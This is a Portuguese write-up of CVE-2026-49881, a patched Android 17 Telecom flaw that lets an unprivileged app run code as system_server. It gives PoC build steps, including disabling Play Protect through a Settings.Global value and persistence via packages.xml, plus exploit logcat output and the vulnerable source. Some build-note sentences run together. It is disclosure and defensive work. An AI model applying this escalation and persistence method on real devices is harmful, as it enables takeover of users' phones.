
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
Este é um PoC e um writeup para o CVE-2026-49881, um problema de lógica na classe InCallController no serviço Telecom do Android 17 que permite que um aplicativo sem privilégios obtenha execução arbitrária de código como UID 1000 system_server sem nenhuma interação extra do usuário. Também mostramos aqui que a execução de código em system_server ainda pode ser facilmente adaptada para obter persistência, mesmo em versões modernas do Android.
Reportei esta vulnerabilidade à Equipe de Segurança do Android em 2026-04-10, ela foi confirmada em 2026-05-06 e foi corrigida no Boletim de Segurança do Android de setembro de 2026. (veja aqui o patch)
No momento do relato, ela afetava ativamente apenas builds Pixel a partir do Android 16 QPR3 (junto com builds Beta 17), até onde sei, mas depois chegou ao lançamento estável do AOSP do Android 17.
Para se proteger deste problema, certifique-se de instalar a atualização do sistema Google Play, bem como o patch de segurança do sistema. (Telecom é um componente mainline desde o Android 17)
system_server usando a vulnerabilidade, registra id e stack trace no logcat e se reinstala como um componente de system_server.build.sh incluído. Caso contrário, você pode executar manualmente ./gradlew assembleSystemRelease, mover o app-system-release.apk resultante para app/src/poc/assets/system.apk e então executar ./gradlew assemblePocRelease.system_server, também desativa o Play Protect definindo package_verifier_user_consent como -1 em Settings.Global, porque ele às vezes pode interceptar a transação de reinstalação devido a assinaturas desconhecidas. Você deve reativar isso em Configurações após os testes.system_server pode precisar de alguma personalização por OEM, pois depende de percorrer a estrutura do PMS usando símbolos que os OEMs às vezes alteram.A saída esperada do logcat do PoC é:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
Esta é uma vulnerabilidade excepcionalmente direta. Sempre que certas ações relacionadas ao Telecom acontecem, o InCallController tenta descobrir serviços disponíveis através de getInCallServiceComponents. Isso ocorre naturalmente quando uma chamada é registrada no sistema, mas um aplicativo pode, na verdade, acioná-la sob demanda também graças à API de chamadas transacionais TelecomManager.addCall. (nota: é isso que o botão Start Exploit no PoC usa) Esta API precisa de MANAGE_OWN_CALLS, mas é uma permissão normal e invisível ao usuário, concedida automaticamente na instalação.
Esta enumeração é implementada nas versões vulneráveis assim:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;
if (serviceInfo != null) {
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
...
}
}
}